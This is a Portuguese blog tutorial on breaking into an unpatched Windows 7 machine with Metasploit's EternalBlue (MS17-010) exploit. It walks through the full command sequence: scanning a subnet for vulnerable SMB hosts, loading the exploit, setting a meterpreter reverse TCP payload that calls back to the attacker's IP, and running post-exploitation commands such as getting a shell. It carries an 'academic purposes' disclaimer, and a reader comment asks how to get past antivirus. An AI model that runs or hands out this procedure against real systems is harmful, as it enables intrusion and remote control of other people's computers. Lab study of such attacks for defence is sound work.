[InfoSec] Invadindo o Windows usando o Metasploit

O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…

Framework: Você vai achar muitas definições de framework na internet, mas no nosso caso pode ser definido como um conjunto de ferramentas agrupadas em uma mesma solução. A ideia do framework é evitar retrabalhos ou utilização desnecessárias de uma mesma ferramenta ou código em um mesmo projeto. Sempre você vai ver um framework que vai te ajudar a automatizar trabalhos desnecessários ou mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework vai te ajudar a gerenciar melhor o seu trabalho.

Exploits: É por onde o ataque tem início, pois pode ser um código malicioso ou um software que utiliza-se de uma vulnerabilidade para atacar o sistema como um todo ou parte dele, assim abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)

Payloads: Após o Exploit “abrir caminho” explorando uma falha ou vulnerabilidade, é executado um código que tem como função comprometer o sistema. O Payload que fará a transmissão de dados e a parte nociva já depois do sistema ter sido comprometido pela vulnerabilidade utilizando o Exploit.

Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.

 

Explicando o Cenário

Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!

Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24

Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No Kali Linux, também vem instalada. Caso queira instalar em alguma distribuição que não venha instalada, fazer o download na página oficial: https://www.metasploit.com/

Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1, que é utilizado para a troca de arquivos pela rede. Essa vulnerabilidade ficou famosa, pois foi utilizada para espalhar os ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.

 

Preparando o Sistema

Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.

systemctl start postgresql

 

Depois vamos iniciar o Metasploit

msfconsole

 

Vamos verificar o status da conexão com o banco de dados.

db_status

Caso retorne esse erro: “postgresql selected, no connection”…

 

Ou ao iniciar, apareça erros ao conectar ao banco de dados:

 

Seguir os seguintes passos:

exit (Sair do metasploit)
su postgres (Acessar o usuário postgres e tem que estar como root para poder mudar de usuário)
createuser root -P (Criar o usuário root e definir uma senha para ele)
createdb --owner=root msf_database (Criar uma entrada no banco de dados)
exit (Sair do usuário postgres)
msfconsole (Entrar no metasploit novamente)
db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database

Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432

Depois só conferir:

db_status

 

Caso queira fazer uma busca genérica usando o módulo Nmap que há no Metasploit, assim adicionando as informações do hosts no banco de dados:

db_nmap -A 172.16.205.0/24

Para ver os hosts que foram localizados com essa busca, basta digitar:

hosts

 

Buscando uma vítima

Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:

search smb_ms17_010

Vamos selecionar o módulo que apareceu:

use auxiliary/scanner/smb/smb_ms17_010

Após isso, vamos ver as suas opções:

show options

 

No nosso caso, precisamos colocar o Range de IP que vamos scannear

set RHOSTS 172.16.205.0/24

Vamos aumentar as threads para agilizar o scan

set threads 100

Depois de tudo configurado, agora é executar:

run ou exploit

 

Preparando o Exploit

Dentre o range selecionado, irá ser exibido as máquinas vulneráveis ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.

Vamos buscar o exploit da falha EternalBlue

back
search ms17_010_eternalblue

 

Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8

use exploit/windows/smb/ms17_010_eternalblue

Assim como o scanner, vamos ver as opções:

show options

Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP dela no Exploit:

set rhost 172.16.205.129

 

Selecionando o Payload

Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit. Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:

show payloads

 

Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa

set payload windows/x64/meterpreter/reverse_tcp

Como a conexão será reversa, ou seja, a vítima que vai se comunicar com o atacante, devemos informar qual IP será conectado de volta.

set lhost 172.16.205.1

Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:

show missing

 

Como está tudo certo, vamos executar:

run ou exploit

 

Acessando a Máquina da Vítima

Após isso, a conexão com o Windows já está ativa. Agora é só utilizar as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:

Exibir informações do computador:

sysinfo

Exibir em qual usuário está sendo executado no Windows

getuid

Ter acesso ao Shell

shell

 

O comando PS exibe todas os processos na máquina da vítima.

 

Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:

 

O intuito desse post é mostrar como um sistema com a configuração padrão, sem um bom sistema de proteção como antivirus, firewall e/ou antimalware, pode se tornar um alvo fácil. Note que em momento algum foi solicitado qualquer intervenção do usuário do computador Windows. Isso também mostra o perigo de se conectar a redes públicas/abertas.

 

Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.

 

https://github.com/rapid7/metasploit-framework
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

Ao Som de: Metallica – One

3 comentários

  1. Achei incrivel mesmo essa conexão! Porem… Se o ALvo tiver AntiVIRUS Avast INFELIZMENTE ja era… nao tem oque fazer! NAo consegui achar solução!

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.